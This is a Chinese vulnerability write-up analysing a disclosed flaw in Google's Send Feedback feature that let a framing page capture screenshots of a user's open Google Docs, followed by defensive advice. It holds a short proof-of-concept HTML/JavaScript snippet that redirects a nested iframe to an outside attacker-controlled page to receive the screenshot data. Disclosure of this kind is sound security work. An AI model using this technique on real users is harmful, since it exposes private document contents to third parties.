挖洞经验 | 利用反馈功能漏洞劫持谷歌文档用户当前工作界面截图
字数 1398 2025-08-15 21:33:12
利用谷歌反馈功能劫持用户文档界面的漏洞分析
漏洞概述
本漏洞利用谷歌产品中的"反馈发送"(Send Feedback)功能,通过修改iframe框架的URL路径,实现对用户当前谷歌文档(Google Docs)工作界面的间接劫持。该漏洞涉及跨域通信和postMessage机制的安全问题。
背景知识
谷歌反馈功能
谷歌在其大部分应用产品中集成了"反馈发送"(Send Feedback)功能,用于用户在使用过程中的问题反馈。该功能特点包括:
- 广泛存在于谷歌旗下应用(包括主站点www.google.com)
- 通过Iframe方式集成到其他谷歌域名网站下
- 包含问题描述的截图添加选项
技术机制
- iframe跨域通信:谷歌文档(Google Docs)通过iframe方式将工作区域截图发送到反馈系统
- postMessage机制:用于在不同源(域)之间安全地传递消息
- RGB颜色模式传输:文档截图以RGB颜色模式编码传输
漏洞发现过程
初始思路
研究者最初试图在沙箱域名feedback.googleusercontent.com寻找XSS漏洞,希望通过XSS劫持传输的RGB像素值来窃取截图,但经过5天测试未果。
关键突破
受到Intigriti XSS挑战赛解题思路启发,发现:
- 如果跨域域名缺少X-Frame-Header消息头,可以修改iframe涉及的域名路径
- Google Docs确实缺少X-Frame header消息头
- 反馈功能最后的postMessage方法使用通配符("*")作为目标源,没有域名限制
漏洞利用原理
技术细节
-
截图传输流程:
- Google Docs通过postMessage将文档截图RGB颜色模式发送到www.google.com的iframe框架
- RGB数据被转发到feedback.googleusercontent.com
- 最终以Base64编码发送回主站www.google.com的iframe框架
-
漏洞关键点:
- 反馈功能最后的postMessage使用
windowRef.postmessage("<Data>","*"),无域名限制 - Google Docs缺少X-Frame header消息头
- 可以修改iframe的目标域名
- 反馈功能最后的postMessage使用
利用方法
通过修改iframe调用的沙箱域名为攻击者控制的网站,接收谷歌postMessage发送的数据。
漏洞验证(POC)
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
// 伪代码
setTimeout(function(){
exp();
}, 6000);
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>
POC说明
- 使用setTimeout在6秒后加载iframe框架(等待用户可能点击"Submit Feedback")
- 设置100毫秒的刷新间隔,确保及时捕获用户操作
- 将iframe的location修改为攻击者控制的恶意域名
防御建议
-
对谷歌的建议:
- 为Google Docs添加X-Frame-Options头
- 避免在postMessage中使用通配符("*")作为目标源
- 对iframe通信实施更严格的源验证
-
对用户的建议:
- 谨慎使用反馈功能,特别是涉及敏感文档时
- 注意浏览器控制台的异常消息
- 保持浏览器和插件更新
总结
该漏洞展示了现代Web应用中跨域通信和iframe安全配置的重要性。通过精心构造的攻击,可以绕过常规的安全措施,实现对用户敏感数据的间接获取。开发者在实现类似功能时应特别注意postMessage的目标源设置和iframe的安全头部配置。